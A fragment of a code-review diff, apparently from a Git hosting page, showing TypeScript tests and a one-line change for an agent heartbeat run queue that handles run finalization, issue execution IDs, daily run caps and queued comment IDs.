await db.update(nativeRunFinalizations).set({ phase: "committed", leaseOwner: null, leaseExpiresAt: null })
|
||||
.where(eq(nativeRunFinalizations.runId, run.id));
|
||||
await db.update(issues).set({ executionRunId: null }).where(eq(issues.id, issue.id));
|
||||
expect(await queue.claimQueuedRun(waiter)).toMatchObject({ id: waiter.id, status: "running" });
|
||||
expect((await db.select().from(issues).where(eq(issues.id, issue.id)))[0].executionRunId).toBe(waiter.id);
|
||||
});
|
||||
|
||||
it("cancels at the daily run cap before claiming or dispatching", async () => {
|
||||
const { run, agent } = await fixture("queued");
|
||||
const cappedAgent = { ...agent, runtimeConfig: { heartbeat: { maxDailyRuns: 0 } } };
|
||||
|
||||
@@ -4041,6 +4041,7 @@ export function createHeartbeatQueue(db: Db, dependencies: HeartbeatQueueDepende
|
||||
? withQueuedCommentIdsInRunContext(
|
||||
enrichedContextSnapshot,
|
||||
adoptedCommentIds,
|
||||
adoptedComments.map((wake) => wake.id),
|
||||
)
|
||||
: enrichedContextSnapshot,
|
||||
sessionIdBefore: explicitContinuation ? null : sessionBefore,
|
||||
|
||||
Loaded 100 of 437 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user